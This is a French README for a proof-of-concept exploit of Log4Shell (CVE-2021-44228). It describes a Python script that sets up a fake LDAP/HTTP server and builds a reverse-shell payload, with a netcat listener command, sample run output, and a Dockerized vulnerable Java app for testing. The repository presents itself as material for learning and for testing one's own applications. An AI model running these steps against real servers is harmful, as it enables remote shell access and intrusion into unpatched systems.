
Exploit de preuve de concept pour CVE-2021-44228 (Log4Shell) avec configuration automatisée du serveur LDAP/HTTP et génération de payload de shell inversé. Inclut une application web Java vulnérable conteneurisée (Docker) pour les tests.
Une preuve de concept (PoC) pour la vulnérabilité récemment découverte CVE-2021-44228.
Récemment, une nouvelle vulnérabilité a été découverte dans log4j, une bibliothèque de journalisation Java très utilisée dans des projets comme Elasticsearch, Minecraft et bien d'autres.
Ce dépôt contient une application vulnérable exemple et une preuve de concept (PoC) d'exploitation de celle-ci.
En guise de PoC, un fichier Python automatise le processus.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20 et se trouver dans le même répertoire.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[+] Exploit java class created success
[+] Setting up fake LDAP server
Listening on 0.0.0.0:1389
Ce script mettra en place le serveur HTTP et le serveur LDAP pour vous, et créera également le payload que vous pourrez coller dans le paramètre vulnérable. Ensuite, si tout se passe bien, vous devriez obtenir un shell sur le port lport.
Un Dockerfile est fourni avec l'application web vulnérable. Vous pouvez l'utiliser en suivant les étapes ci-dessous :
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
Une fois lancée, vous pouvez y accéder sur localhost:8080
Oracle fournit heureusement une archive pour toutes les versions précédentes de Java :
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Faites défiler jusqu'à 8u20 et téléchargez les fichiers appropriés pour votre système d'exploitation et votre matériel.

Remarque : Vous devez créer un compte pour pouvoir télécharger le package.
Une fois que vous avez téléchargé et extrait l'archive, vous trouverez java et quelques binaires associés dans jdk1.8.0_20/bin.
Remarque : Assurez-vous d'extraire le dossier jdk dans ce dépôt avec le même nom pour que cela fonctionne.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Ce dépôt n'a pas pour but d'être un exploit clé en main pour CVE-2021-44228. L'objectif de ce projet est d'aider les gens à apprendre cette vulnérabilité, et éventuellement de tester leurs propres applications (cependant, il existe de meilleures applications à cette fin, par exemple : https://log4shell.tools/).